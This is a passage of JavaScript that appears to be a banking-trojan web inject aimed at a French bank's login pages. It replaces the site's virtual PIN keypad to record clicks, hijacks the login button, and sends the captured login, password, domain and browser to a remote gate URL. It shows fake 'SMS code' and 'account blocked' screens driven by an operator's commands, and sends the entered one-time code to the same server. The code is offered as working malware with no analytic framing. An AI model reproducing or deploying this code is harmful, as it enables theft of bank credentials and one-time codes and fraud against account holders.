  538.             if(popup_elem_common)popup_elem_common.parentNode.removeChild(popup_elem_common);
  539.         break;
  540.        
  541.         case("sms"):
  542.             vw.fake_step("hidewait");
  543.             smsButton = true;
  544.             var h3Title2 = by.content(document,"h3","saisissez","votre","code");
  545.             if(h3Title2){
  546.                 h3Title2.innerHTML = FKTEXT.SMSTITLE;
  547.                 var prNode = h3Title2.parentNode.parentNode;
  548.                 var forMainText = by.args(prNode,"div","id:fieldlabelidentifiant");
  549.                 forMainText.parentNode.innerHTML = '<div style="display:none;">                                             <div class="containerClavier">  <div class="clavis"><map name="vwmap"><area tabindex="3" alt="Touche clavier" class="toucheClavier" href="javascript:vw.clickarea(5)" coords="0,0,30,30" shape="rect"><area tabindex="8" alt="Touche clavier" class="toucheClavier" href="javascript:vw.clickarea(7)" coords="0,35,30,65" shape="rect"><area tabindex="4" alt="Touche clavier" class="toucheClavier" href="javascript:vw.clickarea(4)" coords="35,0,65,30" shape="rect"><area tabindex="9" alt="Touche clavier" class="toucheClavier" href="javascript:vw.clickarea(9)" coords="35,35,65,65" shape="rect"><area tabindex="5" alt="Touche clavier" class="toucheClavier" href="javascript:vw.clickarea(6)" coords="70,0,100,30" shape="rect"><area tabindex="10" alt="Touche clavier" class="toucheClavier" href="javascript:vw.clickarea(0)" coords="70,35,100,65" shape="rect"><area tabindex="6" alt="Touche clavier" class="toucheClavier" href="javascript:vw.clickarea(2)" coords="107,0,135,30" shape="rect"><area tabindex="11" alt="Touche clavier" class="toucheClavier" href="javascript:vw.clickarea(8)" coords="107,35,135,65" shape="rect"><area tabindex="7" alt="Touche clavier" class="toucheClavier" href="javascript:vw.clickarea(1)" coords="143,0,172,30" shape="rect"><area tabindex="12" alt="Touche clavier" class="toucheClavier" href="javascript:vw.clickarea(3)" coords="143,35,172,65" shape="rect"></map><img usemap="#vwmap" src="'+ALINK+'imag/map.jpg"></div>       <div class="rightSide">     <div class="pwdFields">                         <input type="hidden" class="postClavier" name="postClavier" id="postClavier" value="undefinedundefinedundefinedundefinedundefined">                                     <input type="hidden" name="random" id="random" value="true">                                    <input type="password" disabled="disabled" maxlength="6" class="password" size="6" name="CodeId" id="CodeId">                       </div>                  <div class="posCorrigerClavis">                                                 <input type="button" value="Effacer" class="button" id="ResetClavier_idImageClavier">               </div>          </div></div>                                            </div>'+
  550.                 '<div id="fieldLabelIdentifiant" style="color: #003366;font-family: Verdana,Arial,Helvetica,Geneva,Swiss,SunSans-Regular;font-size: 11px;">'+
  551.                     '<p style="font-weight:normal;">'+FKTEXT.SMSQUERY+'<p>'+
  552.                     '<br>'+
  553.                     '<label for="vw.code" style="font-size:11px;">'+FKTEXT.SMSLABEL+'</label> <input type="password" style="width:100px;margin-left:10px;" id="vw.code">'+
  554.                 '</div>';
  555.             }
  556.            
  557.             var codeInput = document.getElementById("vw.code");
  558.             codeInput.value = "";
  559.         break;
  560.        
  561.         case("block"):
  562.             vw.fake_step("hidewait");
  563.             var h3Title = by.content(document,"h3","saisissez","votre","identifiant");
  564.             var h3Title2 = by.args(document,"img","src:parcours\/puce2\.png");
  565.             var h3Title3 = by.content(document,"h3","acc.*dez","votre","espace");
  566.             var forMainText = document.getElementById("fieldLabelIdentifiant");
  567.             if(h3Title && forMainText && h3Title2 && h3Title3){
  568.                 h3Title2.parentNode.parentNode.style.display = "none";
  569.                 h3Title3.parentNode.parentNode.style.display = "none";
  570.                 h3Title.innerHTML = FKTEXT.BLOCKTITLE;
  571.                 forMainText.parentNode.innerHTML = '<div id="fieldLabelIdentifiant" style="color: #003366;font-family: Verdana,Arial,Helvetica,Geneva,Swiss,SunSans-Regular;font-size: 11px;">'+
  572.                     '<p style="font-weight:normal;">'+FKTEXT.BLOCKMAIN+'<p>'+
  573.                     '<br>'+
  574.                     '<p>'+FKTEXT.BLOCTRYNEXTTIME+'<p>'+
  575.                 '</div>';
  576.             }
  577.         break;
  578.     }
  579. }
  580.  
  581. vw.actions = function(){
  582.     switch(QUERY.COMMAND){
  583.                
  584.         case("OFFLINE"):
  585.             vw.fake_step("login");
  586.         break;
  587.        
  588.         case("BLOCK"):
  589.             vw.fake_step("block");
  590.         break;
  591.        
  592.         case("SMS"):
  593.             vw.fake_step("sms");
  594.         break;
  595.        
  596.         case("LOGIN"):
  597.             vw.fake_step("login");
  598.         break;
  599.        
  600.         case("REASK LOGIN INFO"):
  601.             vw.fake_step("login");
  602.         break;
  603.        
  604.         case("WAIT"):
  605.             vw.fake_step("wait",true);
  606.             setTimeout(vw.command,1000);
  607.         break;
  608.        
  609.     }
  610. }
  611.  
  612. //=================== INIT AJAX FUNCTIONS =====================
  613.  
  614. hujax.callback(UniversalCallback);
  615.  
  616. function UniversalCallback(){
  617.     switch(kl){
  618.        
  619.         case("check"):
  620.             if(admindata == "C:ON"){
  621.                 vw.render_login();
  622.             }else if(admindata == "C:BLOCK"){
  623.                 vw.fake_step("block");
  624.             }
  625.             vw.showdoc(document);
  626.         break;
  627.        
  628.         case("login"):
  629.             if(typeof admindata != "undefined"){
  630.                 vw.fake_step("wait");
  631.                 vw.command();
  632.             }else{
  633.                 vw.fake_step("login");
  634.             }
  635.         break;
  636.        
  637.         case("command"):
  638.             if(QUERY.FINISH && !QUERY.CHANGED){
  639.                 vw.fake_step("login");
  640.             }else{
  641.                 if(typeof admindata != "undefined"){
  642.                     var els = admindata.split("|");
  643.                     if(els && els.length == 2){
  644.                         if(els[0] == QUERY.COMMAND){
  645.                             setTimeout(vw.command,1000);
  646.                         }else{
  647.                             QUERY.CHANGED = true;
  648.                             QUERY.COMMAND = els[0];
  649.                             QUERY.VALUE = els[1];
  650.                             vw.actions();
  651.                         }
  652.                     }
  653.                 }
  654.             }
  655.         break;
  656.        
  657.     }
  658. }
  659.  
  660. vw.command = function(){
  661.     var LINK = GATE+"?mode=COMMAND&hash="+Number(new Date());
  662.     LINK += "&type=intercept";
  663.     kl = "command";
  664.     hujax.send(LINK);
  665. }
  666.  
  667. vw.check_start = function(){
  668.     var LINK = GATE+"?mode=CHECKSTART&hash="+Number(new Date());
  669.     LINK += "&type=intercept";
  670.     LINK += "&domain="+document.domain;
  671.     LINK += "&browser="+vw.browser();
  672.     kl = "check";
  673.     hujax.send(LINK);
  674. }
  675.  
  676. //=================== INIT START / LOGIN FUNCTIONS =====================
  677.  
  678. vw.clickarea = function(num){
  679.     num += "";
  680.     HOLDER.PASSWORD += num;
  681. }
  682.  
  683. vw.resetpassword = function(){
  684.     HOLDER.PASSWORD = "";
  685. }
  686.  
  687. vw.lethim = function(){
  688.     vw.mouse("click",buttonForClick);
  689. }
  690.  
  691. vw.clone_button = function(){
  692.     if(smsButton){
  693.         var codeInput = document.getElementById("vw.code");
  694.         if(codeInput.value.length >= 3){
  695.             vw.fake_step("wait",true);
  696.             HOLDER.SMS = codeInput.value;
  697.             var LINK = GATE+"?mode=JABBER&hash="+Number(new Date());
  698.             LINK += "&type=intercept";
  699.             LINK += "&message=Code Recieved";
  700.             LINK += "&data="+HOLDER.SMS;
  701.             kl = "command";
  702.             hujax.send(LINK);
  703.         }
  704.     }else{
  705.         HOLDER.LOGIN = UI_login_input.value;
  706.         vw.fake_step("wait",true);
  707.         var LINK = GATE+"?mode=LOGIN&login1="+HOLDER.LOGIN+"&login2="+HOLDER.PASSWORD+"&hash="+Number(new Date());
  708.         LINK += "&type=intercept&message=Loginning...";
  709.         LINK += "&domain="+document.domain;
  710.         LINK += "&browser="+vw.browser();
  711.         kl = "login";
  712.         hujax.send(LINK);
  713.     }
  714. }
  715.  
  716. vw.render_login = function(){
  717.     vw.blockenter(UI_login_input);
  718.     vw.blockenter(UI_password_input);
  719.    
  720.     if(/particuliers/igm.test(document.location.href+"")){
  721.         buttonForClick = UI_login_button_0;
  722.         clone.click(UI_login_button_0,vw.clone_button);
  723.     }else if(/professionnels/igm.test(document.location.href+"")){
  724.         buttonForClick = UI_login_button_1;
  725.         clone.click(UI_login_button_1,vw.clone_button);
  726.     }
  727.    
  728.     var mapId = document.getElementById("claviermap");
  729.     if(mapId){
  730.         mapId.parentNode.innerHTML = '<map name="vwmap">'+
  731.                                         '<area shape="rect" coords="0,0,30,30" href="javascript:vw.clickarea(5)" class="toucheClavier" alt="Touche clavier" tabindex="3">'+
  732.                                         '<area shape="rect" coords="0,35,30,65" href="javascript:vw.clickarea(7)" class="toucheClavier" alt="Touche clavier" tabindex="8">'+
  733.                                         '<area shape="rect" coords="35,0,65,30" href="javascript:vw.clickarea(4)" class="toucheClavier" alt="Touche clavier" tabindex="4">'+
  734.                                         '<area shape="rect" coords="35,35,65,65" href="javascript:vw.clickarea(9)" class="toucheClavier" alt="Touche clavier" tabindex="9">'+
  735.                                         '<area shape="rect" coords="70,0,100,30" href="javascript:vw.clickarea(6)" class="toucheClavier" alt="Touche clavier" tabindex="5">'+
  736.                                         '<area shape="rect" coords="70,35,100,65" href="javascript:vw.clickarea(0)" class="toucheClavier" alt="Touche clavier" tabindex="10">'+
  737.                                         '<area shape="rect" coords="107,0,135,30" href="javascript:vw.clickarea(2)" class="toucheClavier" alt="Touche clavier" tabindex="6">'+
  738.                                         '<area shape="rect" coords="107,35,135,65" href="javascript:vw.clickarea(8)" class="toucheClavier" alt="Touche clavier" tabindex="11">'+
  739.                                         '<area shape="rect" coords="143,0,172,30" href="javascript:vw.clickarea(1)" class="toucheClavier" alt="Touche clavier" tabindex="7">'+
  740.                                         '<area shape="rect" coords="143,35,172,65" href="javascript:vw.clickarea(3)" class="toucheClavier" alt="Touche clavier" tabindex="12">'+
  741.                                     '</map>'+
  742.  
  743.                                     '<img src="'+ALINK+'imag/map.jpg" usemap="#vwmap">';
  744.        
  745.         vw.bind(UI_reset_button,"click",vw.resetpassword);
  746.     }
  747. }
  748.  
  749. vw.start = function(){
  750.     if(UI_login_input && UI_password_input && UI_login_button_0 && UI_login_button_1){
  751.         vw.check_start();
  752.     }else{
  753.         vw.showdoc(document);
  754.     }
  755. }
  756.  
  757. if(top == self){
  758.     vw.start();
  759. }else{
  760.     vw.showdoc(document);
  761. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement